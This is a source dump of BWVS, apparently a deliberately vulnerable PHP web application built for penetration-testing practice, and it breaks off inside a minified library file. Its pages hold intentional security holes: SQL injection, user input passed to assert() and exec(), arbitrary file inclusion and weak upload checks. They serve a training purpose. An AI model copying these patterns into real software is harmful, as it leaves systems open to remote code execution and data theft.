├── 404.html ├── Info.php ├── README.md ├── Trim.php ├── Vulnerability.php ├── admin ├── delCom.php ├── delUser.php ├── index.php ├── logCheck.php ├── login.php ├── manage.php ├── manageCom.php └── manageUser.php ├── bug ├── Source_code │ └── code1 │ │ ├── conn.php │ │ ├── index.html │ │ ├── jquery-latest.min.js │ │ ├── placeholder.js │ │ ├── post.php │ │ └── style.css ├── class │ └── function.class.php ├── code_exec │ ├── code.php │ └── exec.php ├── conn.php ├── css │ ├── bootstrap.css │ ├── bootstrap.min.css │ ├── bootswatch.less │ ├── bootswatch.min.css │ ├── help.css │ └── variables.less ├── file_include │ ├── any_include.php │ ├── include_1.php │ └── txt.txt ├── file_include2 │ ├── flag.php │ └── index.php ├── file_upload │ ├── any_upload.php │ ├── upload │ │ └── test.txt │ ├── upload_content.php │ ├── upload_js.php │ ├── upload_mime.php │ └── upload_name.php ├── header.php ├── info.php ├── js │ ├── bootstrap.min.js │ ├── bootswatch.js │ └── bsa.js ├── others │ ├── baopo.php │ └── file_read.php ├── php │ ├── code.php │ └── md5.php ├── phpinput │ ├── index.php │ └── phpinfo.php ├── race_condition │ ├── key.php │ ├── pay.php │ ├── pay_poc.py │ ├── upload.php │ ├── upload_poc.py │ └── uploads │ │ └── test.txt ├── sql_injection │ ├── sql_num.php │ ├── sql_search.php │ ├── sql_string.php │ └── sqli_blind │ │ ├── config.php │ │ ├── home.php │ │ ├── img │ │ ├── XVWA0987.png │ │ ├── XVWA1672.png │ │ ├── XVWA3671.png │ │ ├── XVWA3876.png │ │ ├── XVWA4276.png │ │ ├── XVWA4589.png │ │ ├── XVWA5642.png │ │ ├── XVWA7569.png │ │ ├── XVWA7619.png │ │ └── XVWA9680.png │ │ └── index.php ├── ssrf │ └── ssrf.php ├── xieyi │ ├── data │ │ └── index.php │ ├── filter │ │ ├── index.php │ │ ├── show.php │ │ └── tips.php │ ├── phar1 │ │ ├── include.php │ │ ├── upload.php │ │ └── upload │ │ │ └── 1.jpg │ └── phar2 │ │ ├── flag.txt │ │ └── index.php └── xss │ ├── dom_xss.php │ ├── reflect_xss.php │ └── stored_xss.php ├── bwvs_config ├── sys_config.php └── waf.php ├── css ├── bootstrap.css ├── bootstrap.min.css ├── bootswatch.less ├── bootswatch.min.css ├── help.css └── variables.less ├── dwvs.sql ├── favicon ├── 1.jpg ├── 2.jpg ├── 3.jpg ├── 4.jpg ├── a.png ├── bg.png └── logo.png ├── header.php ├── index.php ├── js ├── bootstrap.min.js ├── bootswatch.js └── bsa.js ├── message.php ├── messageSub.php ├── phpinfo.php ├── ping.php ├── search.php ├── user ├── edit.php ├── favicon │ └── bg.png └── logCheck.php └── 插入题目.php /404.html: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 404 6 | 7 | 27 | 28 | 29 | 30 | 31 | 32 |
33 |

抱歉,找不到此页面~

34 |

Sorry, The site now can not be accessed.

35 | 你请求访问的页面,暂时找不到,我们建议你返回Bugku首页进行学习,谢谢!

36 |
37 | 返回 Bugku 38 |
39 |
40 | 41 | 42 | -------------------------------------------------------------------------------- /Info.php: -------------------------------------------------------------------------------- 1 | 15 |
16 |
17 |
18 |
19 |
20 | 69 |
70 |
71 |
72 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BWVS 2 | Web漏洞渗透测试靶场 3 | 4 | 安装方法: 5 | 6 | 1.导入根目录的sql文件 7 | 8 | 2.修改\bwvs_config\sys_config.php 配置(mysql和根目录) 9 | 10 | 3.修改\bug\conn.php里的mysql配置 11 | 12 | 4.需要开启 13 | allow_url_include = On 14 | allow_url_fopen = On 15 | 16 | 注意: 请勿在生产环境搭建. 17 | -------------------------------------------------------------------------------- /Trim.php: -------------------------------------------------------------------------------- 1 | 2 |
3 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /Vulnerability.php: -------------------------------------------------------------------------------- 1 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | '; 29 | echo ''; 30 | echo ''; 31 | echo ''; 32 | echo ''; 33 | echo ''; 34 | echo ''; 35 | } 36 | ?> 37 |
ID漏洞名字漏洞类型漏洞位置参考链接
'.$html['V_id'].''.$html['V_name'].''.$html['V_Type'].' '.$html['V_Pos'].' '.''.$html['V_Cor'].''.'
38 |
39 | -------------------------------------------------------------------------------- /admin/delCom.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /admin/delUser.php: -------------------------------------------------------------------------------- 1 | = 1) 13 | { 14 | echo ''; 15 | }else{ 16 | $query = "DELETE FROM dwvs_user_message WHERE DWVS_user_id = '$clean_id' LIMIT 1"; 17 | mysqli_query($connect,$query) or die(mysqli_error($connect)); 18 | mysqli_close($connect); 19 | echo ''; 20 | } 21 | } 22 | else { 23 | not_find($_SERVER['PHP_SELF']); 24 | } 25 | ?> -------------------------------------------------------------------------------- /admin/index.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /admin/logCheck.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /admin/login.php: -------------------------------------------------------------------------------- 1 | 10 |
11 | 管理员登录界面 12 |
13 | 14 |
15 | 16 |
17 |
18 |
19 | 20 |
21 | 22 |
23 |
24 | 25 |         26 |      27 |





28 |
29 |
30 | -------------------------------------------------------------------------------- /admin/manage.php: -------------------------------------------------------------------------------- 1 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 |
管理入口
用户
评论
25 | 32 | -------------------------------------------------------------------------------- /admin/manageCom.php: -------------------------------------------------------------------------------- 1 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 24 | 25 | 26 | 27 | 28 | 29 | 31 | 32 |
留言用户管理
删除
33 | 返回 34 | -------------------------------------------------------------------------------- /admin/manageUser.php: -------------------------------------------------------------------------------- 1 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 |
User_NameTser_enr_TimeManege
30 | 返回 31 | -------------------------------------------------------------------------------- /bug/Source_code/code1/conn.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | BWVS登录 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | -------------------------------------------------------------------------------- /bug/Source_code/code1/placeholder.js: -------------------------------------------------------------------------------- 1 | /** 2 | * HTML5 Placeholder Text jQuery Fallback with Modernizr 3 | * 4 | * @url http://uniquemethod.com/ 5 | * @author Unique Method 6 | */ 7 | $(function() 8 | { 9 | // check placeholder browser support 10 | if (!Modernizr.input.placeholder) 11 | { 12 | 13 | // set placeholder values 14 | $(this).find('[placeholder]').each(function() 15 | { 16 | if ($(this).val() == '') // if field is empty 17 | { 18 | $(this).val( $(this).attr('placeholder') ); 19 | } 20 | }); 21 | 22 | // focus and blur of placeholders 23 | $('[placeholder]').focus(function() 24 | { 25 | if ($(this).val() == $(this).attr('placeholder')) 26 | { 27 | $(this).val(''); 28 | $(this).removeClass('placeholder'); 29 | } 30 | }).blur(function() 31 | { 32 | if ($(this).val() == '' || $(this).val() == $(this).attr('placeholder')) 33 | { 34 | $(this).val($(this).attr('placeholder')); 35 | $(this).addClass('placeholder'); 36 | } 37 | }); 38 | 39 | // remove placeholders on submit 40 | $('[placeholder]').closest('form').submit(function() 41 | { 42 | $(this).find('[placeholder]').each(function() 43 | { 44 | if ($(this).val() == $(this).attr('placeholder')) 45 | { 46 | $(this).val(''); 47 | } 48 | }) 49 | }); 50 | 51 | } 52 | }); -------------------------------------------------------------------------------- /bug/Source_code/code1/post.php: -------------------------------------------------------------------------------- 1 | alert('登录错误,请重新登录!');location.href='index.html'"; 29 | }else{ 30 | while($result_row=mysql_fetch_row(($result)))//取出结果并显示 31 | { 32 | $uid=$result_row[0]; 33 | $db_uname=$result_row[1]; 34 | $db_pwd=$result_row[2]; 35 | $db_bill=$result_row[3]; 36 | $_SESSION['user_id']=$db_uname; 37 | echo "登录成功".$db_uname." !!
";; 38 | echo "用户名:".$db_uname."
"; 39 | echo "密码:".$db_pwd."
"; 40 | } 41 | } 42 | mysql_close($connection); 43 | } 44 | ?> -------------------------------------------------------------------------------- /bug/Source_code/code1/style.css: -------------------------------------------------------------------------------- 1 | /* 2 | CSS RESET 3 | http://meyerweb.com/eric/tools/css/reset/ 4 | v2.0 | 20110126 5 | License: none (public domain) 6 | */ 7 | html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td,article,aside,canvas,details,embed,figure,figcaption,footer,header,hgroup,menu,nav,output,ruby,section,summary,time,mark,audio,video { 8 | margin: 0; 9 | padding: 0; 10 | border: 0; 11 | font-size: 100%; 12 | font: inherit; 13 | vertical-align: baseline; 14 | } 15 | 16 | /* HTML5 display-role reset for older browsers */ 17 | article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section { 18 | display: block; 19 | } 20 | 21 | body { 22 | line-height: 1; 23 | } 24 | 25 | ol,ul { 26 | list-style: none; 27 | } 28 | 29 | blockquote,q { 30 | quotes: none; 31 | } 32 | 33 | blockquote:before,blockquote:after,q:before,q:after { 34 | content: ''; 35 | content: none; 36 | } 37 | 38 | table { 39 | border-collapse: collapse; 40 | border-spacing: 0; 41 | } 42 | 43 | /* CSS Animations */ 44 | @keyframes "login" { 45 | 0% { 46 | -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; 47 | filter: alpha(opacity=0); 48 | opacity: 0; 49 | margin-top: -50px; 50 | } 51 | 100% { 52 | -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)"; 53 | filter: alpha(opacity=100); 54 | opacity: 1; 55 | margin-top: -75px; 56 | } 57 | 58 | } 59 | 60 | @-moz-keyframes login { 61 | 0% { 62 | filter: alpha(opacity=0); 63 | opacity: 0; 64 | margin-top: -50px; 65 | } 66 | 100% { 67 | filter: alpha(opacity=100); 68 | opacity: 1; 69 | margin-top: -75px; 70 | } 71 | 72 | } 73 | 74 | @-webkit-keyframes "login" { 75 | 0% { 76 | filter: alpha(opacity=0); 77 | opacity: 0; 78 | margin-top: -50px; 79 | } 80 | 100% { 81 | filter: alpha(opacity=100); 82 | opacity: 1; 83 | margin-top: -75px; 84 | } 85 | 86 | } 87 | 88 | @-ms-keyframes "login" { 89 | 0% { 90 | -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; 91 | filter: alpha(opacity=0); 92 | opacity: 0; 93 | margin-top: -50px; 94 | } 95 | 100% { 96 | -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)"; 97 | filter: alpha(opacity=100); 98 | opacity: 1; 99 | margin-top: -75px; 100 | } 101 | 102 | } 103 | 104 | @-o-keyframes "login" { 105 | 0% { 106 | filter: alpha(opacity=0); 107 | opacity: 0; 108 | margin-top: -50px; 109 | } 110 | 100% { 111 | filter: alpha(opacity=100); 112 | opacity: 1; 113 | margin-top: -75px; 114 | } 115 | 116 | } 117 | 118 | /* Main CSS */ 119 | * { -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } 120 | 121 | body { 122 | font-family: sans-serif; 123 | 124 | background-color: #323B55; 125 | background-image: -webkit-linear-gradient(bottom, #323B55 0%, #424F71 100%); 126 | background-image: -moz-linear-gradient(bottom, #323B55 0%, #424F71 100%); 127 | background-image: -o-linear-gradient(bottom, #323B55 0%, #424F71 100%); 128 | background-image: -ms-linear-gradient(bottom, #323B55 0%, #424F71 100%); 129 | background-image: linear-gradient(bottom, #323B55 0%, #424F71 100%); 130 | } 131 | 132 | #slick-login { 133 | width: 220px; 134 | height: 155px; 135 | position: absolute; 136 | left: 50%; 137 | top: 50%; 138 | margin-left: -110px; 139 | margin-top: -75px; 140 | 141 | -webkit-animation: login 1s ease-in-out; 142 | -moz-animation: login 1s ease-in-out; 143 | -ms-animation: login 1s ease-in-out; 144 | -o-animation: login 1s ease-in-out; 145 | animation: login 1s ease-in-out; 146 | } 147 | 148 | #slick-login label { 149 | display: none; 150 | } 151 | 152 | .placeholder { 153 | color: #444; 154 | } 155 | 156 | #slick-login input[type="text"],#slick-login input[type="password"] { 157 | width: 100%; 158 | height: 40px; 159 | positon: relative; 160 | margin-top: 7px; 161 | font-size: 14px; 162 | color: #444; 163 | outline: none; 164 | border: 1px solid rgba(0, 0, 0, .49); 165 | 166 | padding-left: 20px; 167 | 168 | -webkit-background-clip: padding-box; 169 | -moz-background-clip: padding-box; 170 | background-clip: padding-box; 171 | border-radius: 6px; 172 | 173 | background-image: -webkit-linear-gradient(bottom, #FFFFFF 0%, #F2F2F2 100%); 174 | background-image: -moz-linear-gradient(bottom, #FFFFFF 0%, #F2F2F2 100%); 175 | background-image: -o-linear-gradient(bottom, #FFFFFF 0%, #F2F2F2 100%); 176 | background-image: -ms-linear-gradient(bottom, #FFFFFF 0%, #F2F2F2 100%); 177 | background-image: linear-gradient(bottom, #FFFFFF 0%, #F2F2F2 100%); 178 | 179 | -webkit-box-shadow: inset 0px 2px 0px #d9d9d9; 180 | box-shadow: inset 0px 2px 0px #d9d9d9; 181 | 182 | -webkit-transition: all .1s ease-in-out; 183 | -moz-transition: all .1s ease-in-out; 184 | -o-transition: all .1s ease-in-out; 185 | -ms-transition: all .1s ease-in-out; 186 | transition: all .1s ease-in-out; 187 | } 188 | 189 | #slick-login input[type="text"]:focus,#slick-login input[type="password"]:focus { 190 | -webkit-box-shadow: inset 0px 2px 0px #a7a7a7; 191 | box-shadow: inset 0px 2px 0px #a7a7a7; 192 | } 193 | 194 | #slick-login input:first-child { 195 | margin-top: 0px; 196 | } 197 | 198 | #slick-login input[type="submit"] { 199 | width: 100%; 200 | height: 50px; 201 | margin-top: 7px; 202 | color: #fff; 203 | font-size: 18px; 204 | font-weight: bold; 205 | text-shadow: 0px -1px 0px #5b6ddc; 206 | outline: none; 207 | border: 1px solid rgba(0, 0, 0, .49); 208 | 209 | -webkit-background-clip: padding-box; 210 | -moz-background-clip: padding-box; 211 | background-clip: padding-box; 212 | border-radius: 6px; 213 | 214 | background-color: #5466da; 215 | background-image: -webkit-linear-gradient(bottom, #5466da 0%, #768ee4 100%); 216 | background-image: -moz-linear-gradient(bottom, #5466da 0%, #768ee4 100%); 217 | background-image: -o-linear-gradient(bottom, #5466da 0%, #768ee4 100%); 218 | background-image: -ms-linear-gradient(bottom, #5466da 0%, #768ee4 100%); 219 | background-image: linear-gradient(bottom, #5466da 0%, #768ee4 100%); 220 | 221 | -webkit-box-shadow: inset 0px 1px 0px #9ab1ec; 222 | box-shadow: inset 0px 1px 0px #9ab1ec; 223 | 224 | cursor: pointer; 225 | 226 | -webkit-transition: all .1s ease-in-out; 227 | -moz-transition: all .1s ease-in-out; 228 | -o-transition: all .1s ease-in-out; 229 | -ms-transition: all .1s ease-in-out; 230 | transition: all .1s ease-in-out; 231 | } 232 | 233 | #slick-login input[type="submit"]:hover { 234 | background-color: #5f73e9; 235 | background-image: -webkit-linear-gradient(bottom, #5f73e9 0%, #859bef 100%); 236 | background-image: -moz-linear-gradient(bottom, #5f73e9 0%, #859bef 100%); 237 | background-image: -o-linear-gradient(bottom, #5f73e9 0%, #859bef 100%); 238 | background-image: -ms-linear-gradient(bottom, #5f73e9 0%, #859bef 100%); 239 | background-image: linear-gradient(bottom, #5f73e9 0%, #859bef 100%); 240 | 241 | -webkit-box-shadow: inset 0px 1px 0px #aab9f4; 242 | box-shadow: inset 0px 1px 0px #aab9f4; 243 | margin-top: 10px; 244 | } 245 | 246 | #slick-login input[type="submit"]:active { 247 | background-color: #7588e1; 248 | background-image: -webkit-linear-gradient(bottom, #7588e1 0%, #7184df 100%); 249 | background-image: -moz-linear-gradient(bottom, #7588e1 0%, #7184df 100%); 250 | background-image: -o-linear-gradient(bottom, #7588e1 0%, #7184df 100%); 251 | background-image: -ms-linear-gradient(bottom, #7588e1 0%, #7184df 100%); 252 | background-image: linear-gradient(bottom, #7588e1 0%, #7184df 100%); 253 | 254 | -webkit-box-shadow: inset 0px 1px 0px #93a9e9; 255 | box-shadow: inset 0px 1px 0px #93a9e9; 256 | } -------------------------------------------------------------------------------- /bug/class/function.class.php: -------------------------------------------------------------------------------- 1 | form_method = $form_method; 13 | $this -> form_params = $form_params; 14 | } 15 | 16 | public function con_function(){ 17 | //自己造的回调 18 | $func_array = func_get_args(); 19 | $name = func_get_arg(0); 20 | array_shift($func_array); 21 | echo "
"; 22 | return call_user_func_array($name,$func_array); 23 | } 24 | 25 | public function con_html(){ 26 | //生成form表单 27 | echo "
"; 28 | echo "{$this->form_params}: "; 29 | echo ""; 30 | echo "
"; 31 | 32 | } 33 | 34 | public function con_mysql($t_name, $c_name, $c_value, $sql_type){ 35 | //mysql 36 | $conn = @mysql_connect(DB_HOST, DB_USER, DB_PASS) or die('bad!'); 37 | mysql_query("SET NAMES utf-8"); 38 | mysql_select_db(DB_NAME, $conn) OR emMsg("数据库连接失败"); 39 | $sql_num = "SELECT * FROM {$t_name} WHERE {$c_name} = {$c_value}"; //num 40 | $sql_string = "SELECT * FROM {$t_name} WHERE {$c_name} = '{$c_value}'"; //string 41 | $sql_search = "SELECT * FROM {$t_name} WHERE {$c_name} like '%{$c_value}%'"; //search 42 | $sql_name = "sql_".$sql_type; 43 | $result = mysql_query($$sql_name, $conn) or die(mysql_error()); 44 | $row = mysql_fetch_assoc($result); 45 | mysql_free_result($result); 46 | mysql_close($conn); 47 | return $row; 48 | } 49 | 50 | 51 | } 52 | 53 | ?> 54 | -------------------------------------------------------------------------------- /bug/code_exec/code.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | bugku - 代码执行 6 | 7 | 8 | con_html(); 14 | if (isset($_REQUEST['submit'])) { 15 | $code = $_REQUEST['code']; 16 | echo $p -> con_function('assert',$code); 17 | } 18 | ?> 19 | 20 | 21 |
22 |
23 |
24 |
25 | -------------------------------------------------------------------------------- /bug/code_exec/exec.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Bugku - 命令执行 6 | 7 | 8 | con_html(); 14 | if (isset($_REQUEST['submit'])) { 15 | $command = $_REQUEST['command']; 16 | echo $p -> con_function('exec',$command); 17 | } 18 | ?> 19 | 20 | 21 |
22 |
23 |
24 |
25 | -------------------------------------------------------------------------------- /bug/conn.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /bug/css/bootswatch.less: -------------------------------------------------------------------------------- 1 | // Custom 3.1.0 2 | // Bootswatch 3 | // ----------------------------------------------------- 4 | 5 | 6 | // Navbar ===================================================================== 7 | 8 | // Buttons ==================================================================== 9 | 10 | // Typography ================================================================= 11 | 12 | // Tables ===================================================================== 13 | 14 | // Forms ====================================================================== 15 | 16 | // Navs ======================================================================= 17 | 18 | // Indicators ================================================================= 19 | 20 | // Progress bars ============================================================== 21 | 22 | // Containers ================================================================= 23 | -------------------------------------------------------------------------------- /bug/css/bootswatch.min.css: -------------------------------------------------------------------------------- 1 | body{padding-top:50px} 2 | #banner{border-bottom:none} 3 | .page-header h1{font-size:4em} 4 | .bs-docs-section{margin-top:8em} 5 | footer{margin:5em 0}footer li{float:left;margin-right:1.5em;margin-bottom:1.5em} 6 | footer p{clear:left;margin-bottom:0} 7 | .splash{padding:4em 0 2em;background-color:#1c2533;background:-webkit-linear-gradient(70deg, #080f1f 30%, #2b4b5a 87%, #435e67 100%);background:-o-linear-gradient(70deg, #080f1f 30%, #2b4b5a 87%, #435e67 100%);background:-ms-linear-gradient(70deg, #080f1f 30%, #2b4b5a 87%, #435e67 100%);background:-moz-linear-gradient(70deg, #080f1f 30%, #2b4b5a 87%, #435e67 100%);background:linear-gradient(20deg, #080f1f 30%, #2b4b5a 87%, #435e67 100%);background-attachment:fixed;color:#fff;text-align:center}.splash .alert{margin:4em 0 2em} 8 | .splash h1{font-size:4em} 9 | .splash #social{margin:2em 0 4em} 10 | .splash .bsa{max-width:350px;margin:0 auto;background:none}.splash .bsa .one .bsa_it_ad{border:1px solid #3e4653 !important;border-color:rgba(255,255,255,0.2) !important} 11 | .splash .bsa a{color:#fff} 12 | .section-tout{padding:4em 0 3em;border-top:1px solid rgba(255,255,255,0.1);border-bottom:1px solid rgba(0,0,0,0.1);background-color:#eaf1f1}.section-tout .fa{margin-right:.5em} 13 | .section-tout p{margin-bottom:3em} 14 | .section-preview{padding:4em 0 4em}.section-preview .preview{margin-bottom:4em;background-color:#eaf1f1;border:1px solid rgba(0,0,0,0.1);border-radius:6px}.section-preview .preview .image{padding:5px}.section-preview .preview .image img{border:1px solid rgba(0,0,0,0.1)} 15 | .section-preview .preview .options{text-align:center;padding:0 2em 2em}.section-preview .preview .options p{margin-bottom:2em} 16 | .section-preview .dropdown-menu{text-align:left} 17 | .section-preview .lead{margin-bottom:2em} 18 | @media (max-width:767px){.section-preview .image img{width:100%}} 19 | .bsa{padding:0}.bsa .one .bsa_it_ad{border:none !important;background-color:transparent !important}.bsa .one .bsa_it_ad .bsa_it_t,.bsa .one .bsa_it_ad .bsa_it_d{color:inherit !important} 20 | .bsa .one .bsa_it_ad .bsa_it_i{margin-bottom:0 !important} 21 | .bsa .one .bsa_it_p{display:none} 22 | -------------------------------------------------------------------------------- /bug/css/help.css: -------------------------------------------------------------------------------- 1 | body { 2 | background-color: #ffffff; 3 | font-family: Arial, Helvetica, sans-serif; 4 | font-size: 14px; 5 | } 6 | 7 | span.spoiler { 8 | background-color: #bacac6; 9 | color: #bacac6; 10 | } 11 | -------------------------------------------------------------------------------- /bug/file_include/any_include.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Bugku - 任意文件包含 6 | 7 | 8 |
9 |
10 |
11 |
12 | con_html(); 18 | if (isset($_REQUEST['submit'])) { 19 | $file = $_REQUEST['file']; 20 | include $file; 21 | } 22 | ?> 23 | 24 | 25 |
26 |
27 |
28 |
29 | -------------------------------------------------------------------------------- /bug/file_include/include_1.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Bugku - 目录限制文件包含 6 | 7 | 8 |
9 |
10 |
11 |
12 | con_html(); 18 | if (isset($_REQUEST['submit'])) { 19 | $file = $_REQUEST['file']; 20 | include './'.$file; 21 | } 22 | ?> 23 | 24 | 25 |
26 |
27 |
28 |
29 | -------------------------------------------------------------------------------- /bug/file_include/txt.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /bug/file_include2/flag.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /bug/file_include2/index.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /bug/file_upload/any_upload.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Bugku - 文件上传漏洞演示脚本 6 | 7 | 8 | 9 |
10 |
11 |
12 |

Bugku - 文件上传漏洞演示脚本


13 |
14 | 15 | 16 | 17 |
18 | 19 | 20 | 0) 24 | { 25 | echo "Return Code: " . $_FILES["file"]["error"] . "
"; 26 | } 27 | else 28 | { 29 | echo "Upload: " . $_FILES["file"]["name"] . "
"; 30 | echo "Type: " . $_FILES["file"]["type"] . "
"; 31 | echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb
"; 32 | if (file_exists("upload/" . $_FILES["file"]["name"])) 33 | { 34 | echo $_FILES["file"]["name"] . " already exists. "; 35 | } 36 | else 37 | { 38 | move_uploaded_file($_FILES["file"]["tmp_name"], 39 | "upload/" . $_FILES["file"]["name"]); 40 | echo "Stored in: " . "upload/" . $_FILES["file"]["name"]; 41 | } 42 | } 43 | } 44 | 45 | ?> 46 |
47 |
48 |
49 |
50 | -------------------------------------------------------------------------------- /bug/file_upload/upload/test.txt: -------------------------------------------------------------------------------- 1 | test 2 | -------------------------------------------------------------------------------- /bug/file_upload/upload_content.php: -------------------------------------------------------------------------------- 1 | 27 | 29 | 30 | 31 | 32 | 33 | 内容验证实例 34 | 35 |

内容验证实例

36 | 37 |
38 | 请选择要上传的文件: 39 | 40 |
41 | 42 | 43 |
44 |
45 |
46 |
47 | -------------------------------------------------------------------------------- /bug/file_upload/upload_js.php: -------------------------------------------------------------------------------- 1 | 16 | 18 | 19 | 20 | 21 | 22 | Bugku - JS限制文件上传 23 | 44 | 45 |

Bugku - JS限制文件上传

46 | 47 |
48 | 49 | 请选择要上传的文件: 50 | 51 |
52 | 53 | 54 |
55 |
56 |
57 |
58 | -------------------------------------------------------------------------------- /bug/file_upload/upload_mime.php: -------------------------------------------------------------------------------- 1 | 22 | 24 | 25 | 26 | 27 | 28 | MIME限制文件上传 29 | 30 |

MIME限制文件上传

31 | 32 |
33 | 请选择要上传的文件: 34 | 35 |
36 | 37 | 38 |
39 |
40 |
41 |
42 | -------------------------------------------------------------------------------- /bug/file_upload/upload_name.php: -------------------------------------------------------------------------------- 1 | 23 | 24 | 25 | 26 | 服务端扩展名验证实例 27 | 28 |

服务端扩展名验证实例

29 | 30 |
31 | 请选择要上传的文件: 32 | 33 |
34 | 35 | 36 |
37 |
38 |
39 |
40 | -------------------------------------------------------------------------------- /bug/header.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | BWVS - Web漏洞渗透测试系统 5 | 6 | 7 | 8 | 23 | 26 | 27 | 28 | 29 |
30 |
31 | 70 |
71 |
-------------------------------------------------------------------------------- /bug/info.php: -------------------------------------------------------------------------------- 1 | 2 |
3 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /bug/js/bootstrap.min.js: -------------------------------------------------------------------------------- 1 | if("undefined"==typeof jQuery)throw new Error("Bootstrap requires jQuery");+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one(a.support.transition.end,function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b()})}(jQuery),+function(a){"use strict";var b='[data-dismiss="alert"]',c=function(c){a(c).on("click",b,this.close)};c.prototype.close=function(b){function c(){f.trigger("closed.bs.alert").remove()}var d=a(this),e=d.attr("data-target");e||(e=d.attr("href"),e=e&&e.replace(/.*(?=#[^\s]*$)/,""));var f=a(e);b&&b.preventDefault(),f.length||(f=d.hasClass("alert")?d:d.parent()),f.trigger(b=a.Event("close.bs.alert")),b.isDefaultPrevented()||(f.removeClass("in"),a.support.transition&&f.hasClass("fade")?f.one(a.support.transition.end,c).emulateTransitionEnd(150):c())};var d=a.fn.alert;a.fn.alert=function(b){return this.each(function(){var d=a(this),e=d.data("bs.alert");e||d.data("bs.alert",e=new c(this)),"string"==typeof b&&e[b].call(d)})},a.fn.alert.Constructor=c,a.fn.alert.noConflict=function(){return a.fn.alert=d,this},a(document).on("click.bs.alert.data-api",b,c.prototype.close)}(jQuery),+function(a){"use strict";var b=function(c,d){this.$element=a(c),this.options=a.extend({},b.DEFAULTS,d),this.isLoading=!1};b.DEFAULTS={loadingText:"loading..."},b.prototype.setState=function(b){var c="disabled",d=this.$element,e=d.is("input")?"val":"html",f=d.data();b+="Text",f.resetText||d.data("resetText",d[e]()),d[e](f[b]||this.options[b]),setTimeout(a.proxy(function(){"loadingText"==b?(this.isLoading=!0,d.addClass(c).attr(c,c)):this.isLoading&&(this.isLoading=!1,d.removeClass(c).removeAttr(c))},this),0)},b.prototype.toggle=function(){var a=!0,b=this.$element.closest('[data-toggle="buttons"]');if(b.length){var c=this.$element.find("input");"radio"==c.prop("type")&&(c.prop("checked")&&this.$element.hasClass("active")?a=!1:b.find(".active").removeClass("active")),a&&c.prop("checked",!this.$element.hasClass("active")).trigger("change")}a&&this.$element.toggleClass("active")};var c=a.fn.button;a.fn.button=function(c){return this.each(function(){var d=a(this),e=d.data("bs.button"),f="object"==typeof c&&c;e||d.data("bs.button",e=new b(this,f)),"toggle"==c?e.toggle():c&&e.setState(c)})},a.fn.button.Constructor=b,a.fn.button.noConflict=function(){return a.fn.button=c,this},a(document).on("click.bs.button.data-api","[data-toggle^=button]",function(b){var c=a(b.target);c.hasClass("btn")||(c=c.closest(".btn")),c.button("toggle"),b.preventDefault()})}(jQuery),+function(a){"use strict";var b=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.paused=this.sliding=this.interval=this.$active=this.$items=null,"hover"==this.options.pause&&this.$element.on("mouseenter",a.proxy(this.pause,this)).on("mouseleave",a.proxy(this.cycle,this))};b.DEFAULTS={interval:5e3,pause:"hover",wrap:!0},b.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},b.prototype.getActiveIndex=function(){return this.$active=this.$element.find(".item.active"),this.$items=this.$active.parent().children(),this.$items.index(this.$active)},b.prototype.to=function(b){var c=this,d=this.getActiveIndex();return b>this.$items.length-1||0>b?void 0:this.sliding?this.$element.one("slid.bs.carousel",function(){c.to(b)}):d==b?this.pause().cycle():this.slide(b>d?"next":"prev",a(this.$items[b]))},b.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(".next, 